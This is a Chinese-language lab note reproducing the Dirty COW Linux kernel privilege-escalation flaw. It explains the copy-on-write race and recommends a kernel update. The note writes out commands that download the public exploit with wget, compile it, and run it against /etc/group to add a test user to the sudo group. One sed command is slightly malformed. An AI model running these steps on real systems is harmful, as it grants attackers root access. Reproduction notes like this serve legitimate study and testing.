臟牛漏洞復現
- 2019 年 10 月 7 日
- 筆記
該漏洞是 Linux 內核的記憶體子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞, 導致可以破壞私有隻讀記憶體映射。黑客可以在獲取低許可權的的本地用戶後,利用此漏洞獲取 其他只讀記憶體映射的寫許可權,進一步獲取 root 許可權。
0X1 環境搭建
環境:Ubuntu-14.04.4-desktop-amd64.iso
利用條件:Linux kernel >= 2.6.22
0X2 漏洞復現
adduser test/123456
su test
id


下載poc:
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
編譯:
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w /etc/group "$(sed'/(sudo*)/ s/$/,test/' /etc/group)"
exit

打開另一個終端查看test賬戶的組資訊:


即可完成提權工作!在諸多安全攻防環境中,該漏洞被作為提權的漏洞可能性非常大。
0X3 漏洞成因
Linux寫時拷貝技術(copy-on-write)
在Linux系統中,fork()會產生一個和父進程完全相同的子進程,但子進程在此後多會exec系統調用,出於效率考慮,Linux系統中引入了「寫時複製」技術,也就是只有進程空間的各段的內容要發生變化時,才會將父進程的內容複製一份給子進程。
0x4 修復方法
更新系統內核版本